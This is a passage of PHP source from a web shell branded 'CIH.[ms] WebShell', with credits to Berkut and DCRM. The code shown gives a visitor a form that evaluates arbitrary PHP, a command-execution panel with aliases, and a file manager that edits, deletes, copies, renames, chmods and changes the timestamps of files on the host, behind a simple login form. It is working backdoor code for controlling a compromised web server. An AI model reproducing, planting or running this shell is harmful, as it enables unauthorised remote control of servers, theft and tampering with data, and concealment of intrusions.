452if (isset($_POST['eval'])){echo $_POST['eval'];} else {echo 'code here (:';}
453echo "</textarea><input type='submit' class='form' value='do' style='width:98%; margin-top:3px; border:0px; background:#262626;'></form><br/>";
454if (isset($_POST['eval'])){
455echo "<table class='txt' style='margin-left:13px; width:98%; height:60%'><tr><td valign='top'>";code_eval();echo "</td></tr></table><br/>";}
456do_footer($ver);die(); break;
457case 'shell':
458echo " <textarea class='txt' style='width:98%; height:60%; background:#262626' rows='30'>";if($safe_mode == 'On'){ echo "Safe mode is on..";}if(isset($_POST['alias'])){ foreach ($alias as $k=>$v) { if ($_POST['alias'] == $k){cmd_exec($v);}}} else {cmd_exec($safe_mode);}if(isset($_POST['cmdir'])) {$dirr = $_POST['cmdir'];} else {$dirr = $path;}echo "</textarea>";echo "<form method='post' action='' style='padding:0px; margin-top:5px; margin-bottom:15px;'><input type='hidden' name='do' value='shell'><input type='text' name='cmd' value='";if (isset($_POST['cmd'])){echo $_POST['cmd'];} elseif ($os == 'win'){echo 'dir';} else{echo 'ls';}echo "' class='form' style='width:98%; margin-bottom:2px;'><input type='text' name='cmdir' value='$dirr' class='form' style='color:#444;width:98%'><input type='submit' class='form' value='do' style='width:98%; margin-top:3px; border:0px; background:#262626;'></form>";echo"<form method='post' action='' style='border-top:1px solid #282828; margin:0px;'><select name='alias' class='form' style='width:98%; margin-top:5px;'>";foreach($alias as $k=>$v){echo "<option>$k</option>";}echo "</select><input type='hidden' name='do' value='shell'><input type='hidden' name='cmdir' value='$dirr'><input type='submit' class='form' value='do' style='width:98%; margin-top:3px; border:0px; background:#262626;'</form><br/><br/>";do_footer($ver); die();break;
459case 'cihshell':echo "<div class='str' style='text-align:center;'><table class='str' style='width:100%'><tr>
460<td style='border-right:1px solid #333; width:200px;'><div style=' padding:50px; margin-top:50px; margin-bottom:50px; border-top:1px solid #333; border-bottom:1px solid #333;'>Coded by <b>Berkut</b>. <br/><br/>© 2007 <br/><hr>Fixed by <b>DCRM</b>. <br/></br>© 2008 <br/></div></td><td valign='top' style='padding-left:30px;'><br/><br/><span style='font-size:20px; color:#666;'>CIH.[ms] WebShell<sup style='font-size:12px; color:#444;'> v.$ver</sup></span><br/><br/><br/>It has so many strong points that it is impossible to write them here (:</td></tr></table></div>";do_footer($ver); die();break;
461default: error('There is no such function',$ver);
462break;}}
463 # file actions
464if(is_file($path))
465 {$perms = fperms($path); $size = filesize($path."/".$file); $size = conv_size($size); $size_fix = conv_size(filesize($path)); $pp = $_POST['f_path'];$ppp = $_POST['f_file'];
466echo "<div style='padding:2px;'><div style='background:#292929; padding:10px; margin-bottom:3px; text-align:left;'><b>File actions</b></div><div style='background:#272727; padding:3px; font-size:9px; text-align:left;'>file: <span style='color:#666;'>$path</span> | permissions: <b style='color:#666;'>$perms </b> | size: <span style='color:#666;'>$size_fix</span> | Create time: <span style='color:#666;'>".date("d.m.Y H:i:s",filectime($path))."</span> | Modify time: <span style='color:#666;'>".date("d.m.Y H:i:s",filemtime($path))."</span></div><table style='width:100%; font-size:10px;'><tr><td style='width:200px; border-right:1px solid #292929; vertical-align:top; padding:0px; padding-left:5px;'> <form method='post' action=''><input type='hidden' name='ffile' value='$path'><input type='hidden' name='path' value='$path'><input type='hidden' name='curpath' value='$pp'><input type='hidden' name='filename' value='$ppp'><div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'> <input type='submit' class='fa' name='fdo' value='view' style=''></div><div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'><input type='submit' class='fa' name='fdo' value='view in HEX' style=''></div> <div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'> <input type='submit' class='fa' name='fdo' value='edit'></div> <div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'> <input type='submit' class='fa' name='fdo' value='preview' ></div><div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'><input type='submit' class='fa' name='fdo' value='download'></div><div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:40px;'><input type='submit' class='fa1' name='fdo' value='delete'></div><div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'> <input type='submit' class='fa1' name='fdo' value='copy' ></div><div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'><input type='submit' class='fa1' name='fdo' value='rename' ></div> <div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'><input type='submit' class='fa1' name='fdo' value='chmod' ></div> <div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'><input type='submit' class='fa1' name='fdo' value='touch' ></div></td><td style='padding:3px; vertical-align:top;'>";
467 if (isset($_POST['fdo']) && isset($_POST['ffile'])){
468$ffile = $_POST['ffile'];
469switch($_POST['fdo']){
470case 'view':
471fileread2($ffile, $stringnum);
472break;
473case 'view in HEX':
474
475$fi=fopen($path,"rb");
476if ($fi) {$str = fread($fi,filesize($path));$n=0;$a0="00000000<br/>";$a1="";$a2="";
477for ($i=0; $i<strlen($str); $i++) {$a1.=sprintf("%02X",ord($str[$i])).' ';switch (ord($str[$i])) {case 0: $a2.="0"; break;case 32: case 10:case 13: $a2.=" "; break;default: $a2.=htmlspecialchars($str[$i]);}$n++;if ($n==$hexdump_rows) {$n=0;if ($i+1<strlen($str)) $a0.=sprintf("%08X",$i+1)."<br>";$a1.="<br>";$a2.="<br>";}}echo "<table style='font-size:10px;'><tr><td style='border-right:1px solid #292929; color:#444; padding:4px;'>$a0</td><td style='color:#666; padding:4px;'>$a1</td><td style='border-left:1px solid #292929; color:#444; padding:4px;'>$a2</td></tr>";echo"</table>";
478}break;
479case 'edit':
480echo "<form method='post' action='' style='margin:0px; padding:0px;'><textarea cols='170' rows='34' class='txt' style='width:100%;' name='wrcont'> ";
481fileread($ffile);echo "</textarea><input type='hidden' name='ffile' value='$ffile'><input type='hidden' name='path' value='".$path."'><input type='submit' name='wrfile' class='form' value='save file' style='width:100%; margin-top:5px;'></form><br/>"; break;
482case 'chmod':
483echo"<form method='post' action='' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='".$_POST['curpath']."'><input type='text' name='chmod' class='form' value='".substr(sprintf('%o', fileperms($path)), -4)."' style='width:10%'><span style='margin-left:4px; margin-right:4px;'>for</span><input type='text' name='ffile' class='form' value='".$path."' style='width:70%'><input type='submit' style='width:60px;' class='form' value='change!'></form><br/>";break;
484
485case 'touch':
486echo"<form method='post' action='' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='".$_POST['curpath']."'><input type='text' name='touch' class='form' value='".date("d M Y H:i:s",filemtime($path))."' style='width:15%'><span style='margin-left:4px; margin-right:4px;'>for</span><input type='text' name='ffile' class='form' value='".$path."' style='width:70%'><input type='submit' style='width:60px;' class='form' value='change!'></form><br/>";break;
487
488case 'rename':
489echo" <form method='post' action='' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='".$_POST['curpath']."'><input type='text' name='ffile' class='form' value='".$path."' style='width:40%'><span style='margin-left:4px; margin-right:4px;'>to</span><input type='text' name='newname' class='form' value='".$path."' style='width:40%'><input type='submit' style='width:60px;' class='form' value='rename!'></form><br/>";break;
490case 'copy':
491echo"<form method='post' action='' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='".$_POST['curpath']."'><input type='text' name='ffile' class='form' value='".$path."' style='width:40%'><span style='margin-left:4px; margin-right:4px;'>to</span><input type='text' name='newpath' class='form' value='".$path."' style='width:40%'><input type='submit' style='width:60px;' class='form' value='copy!'></form><br/>";break; }}
492else {
493$fh = fopen($path, 'r'); if (!$fh){error('Could not open file',$ver);}echo '<table style="font-size:10px; width:100%; background:#222; ">';if ($stringnum){$i=1;while(!feof($fh) & $i<=30) {$line = fgets($fh); echo '<tr style="background:#242424;"><td style="text-align:center;padding:3px; width:2%; border-right:1px solid #2e2e2e; color:#444;">'.$i.'</td><td>'.htmlspecialchars($line).'</td></tr>'; $i++;}}else {while(!feof($fh) & $i<=30) {$line = fgets($fh); echo '<tr style="background:#242424;"><td>'.htmlspecialchars($line).'</td></tr>'; }}echo '</table>';}
494echo '</td></tr></table></div>';do_footer($ver);die();}
495elseif (is_dir($path))
496 {
497 $dirs=array();
498 $files=array();
499 $dir=opendir($path);
500 while (($file=readdir($dir))!==false) { if ($file=="." || $file=="..") continue;
501 if (is_dir("$path/$file")) {$dirs[]=$file;}
502 else {$files[]=$file;}}closedir($dir);
503 }
504
505else {error('it isn\'t a directory', $ver);}
506if (!$dir){error('An error occured while opening directory '.$path, $ver);}
507sort($dirs);
508sort($files);
509echo "<table style='width:100%; background:#222;'>";
510 echo "<tr><td colspan=6 class='filet' style='background:#282828; padding:0px; border-top:1px solid #2e2e2e; height:30px;'>";
511# drives
512 if ($os == "win") {
513 echo "<form method='post' action='' style='padding:0px; margin:0px; float:left;'>";echo "<input type='button' value='Drives:' class='fm' style='font-weight:bold;'>";for($d='c';$d<='z';$d++){if(is_dir($d.":/"))echo "<input type='submit' value='".$d.":/' class='fm' name='path'>"; }echo "</form>";}echo "<form method='post' action='' style='padding:0px; margin:0px; float:right;' >";
514echo "<input type='submit' name='diract' class='fm' value='directory actions' style='margin-bottom:0px; font-weight:bold; color:#666;'><input type='hidden' name='curdir' value='$path'><input type='hidden' name='cmdir' value='$path'><span style='color:#666;'>|</span><input type='submit' name='fileact' value='New File' class='fm'><span style='color:#666;'>|</span><input type='submit' style='margin:0px;' name='fileact' value='New Dir' class='fm'><span style='color:#666;'>|</span><input type='submit' name='fileact' value='Upload' class='fm'>";echo "</form>";
515echo "</td></tr>";echo "<tr style='background:#272727;'><td style='width:3%; '> </td><td style='width:300px; color:#888;' class='filet'><b>name</b></td><td class='filet' style='color:#888;'><b>size</b></td><td class='filet' style='color:#888;'><b>last modified</b></td><td class='filet' style='color:#888;'><b>permissions</b></td></tr>";echo "<form method='post' action=''><input type='hidden' name='f_path' value='$path'>";
516for ($i=0; $i<count($dirs); $i++) {
517$size = '---';
518$perms = fperms($path."/".$dirs[$i]);
519$ico = '<b>dir</b>';
520$last_mod = date('d.m.y H:i:s', fileatime($path."/".$file));if(!$last_mod){$last_mod = "---";}
521echo" <tr style='background:#252525;'><td class='ico'>[$ico]</td><td style='width:300px;'><input type='submit' name='f_file' class='dir' value='$dirs[$i]'></td><td class='filet'>$size</td><td class='filet'>$last_mod</td><td class='filet'>$perms </td></tr>";}
522
523 for ($i=0; $i<count($files); $i++) {
524# filesize
525if (is_link($path."/".$files[$i])) {$size = "---";} else {$size = filesize($path."/".$files[$i]); $size = conv_size($size); if($size == '0B'){$size = '---';} }
526# date
527$last_mod = date('d.m.y H:i:s', fileatime($path."/".$files[$i]));if(!$last_mod){$last_mod = "---";}
528#perms
529$perms = fperms($path."/".$files[$i]);
530#filetype (ico)
531$ico = ''; if(is_link($path."/".$files[$i])) {$ico = 'link';}
532else{
533// filetypes for file manager
534$filetypes = array(
535"php"=> array("php","phtml","php3","php4","inc"),
536"exe"=>array("sh","install","bat","cmd"),
537"ini"=>array("ini","inf"),
538"html"=>array("html","htm","shtml"),
539"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg"),
540"code"=>array("tcl","h","c","cpp", "pl", "cgi"),
541"img"=>array("gif","png","jpeg","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
542"sdb"=>array("sdb"),
543"sess"=>array("sess"),
544"dwnld"=>array("exe","com","pif","src","lnk","zip","rar")
545);
546$filename = $files[$i]; $ext = explode(".",$filename);$c = count($ext)-1;$ext = $ext[$c];$ext = strtolower($ext);$rft = "";foreach($filetypes as $key=>$value){if (in_array($ext,$value)) {$ico = $key; break;} } if($ico==''){$ico = 'none';}}
547$wtf = '/'.$files[$i];if ($wtf == $_SERVER['SCRIPT_NAME']) {echo"<tr style='background:#292929;'><td class='ico' style='color:#666;'>[shell]</td><td style='width:300px;'><input type='submit' style='background:#292929;' name='f_file' class='file' value='$files[$i]'></td><td class='filet'>$size</td><td class='filet'>$last_mod</td><td class='filet'>$perms </td></tr>";}
548else {
549echo"<tr style='background:#252525;'><td class='ico'>[$ico]</td><td style='width:300px;'><input type='submit' name='f_file' class='file' value='$files[$i]'></td><td class='filet'>$size</td><td class='filet'>$last_mod</td><td class='filet'>$perms </td></tr>"; }
550}echo '</form></table><div style="padding-left:2px; padding-right:2px; padding-bottom:4px; background:#222;"><div class="filet" style="background:#272727; border-bottom:1px solid #2e2e2e"> </div></div>';do_footer($ver);}
551else {echo ' <html><head><style>body{background:#333;}</style><title>login </title></head><body><table style="margin-left:100px; margin-top:100px; background:#222; font-family:Verdana; font-size:10px; color:#999; padding:4px; width:100%:"><tr><td><form method="post" style="margin:0px; padding:)px;">login: <input type="text" name="login" style="color:#999; border:1px solid #333; font-size:10px; background:#292929; padding:2px;"> password: <input type="text" name="password" style="color:#999; border:1px solid #333; font-size:10px; background:#292929; padding:2px;"> <input type="submit" style="color:#999; border:0px; font-size:10px; background:#262626; height:20px;; font-family:Verdana;" value="go"></form></td></tr></table></body></html>';}
552?>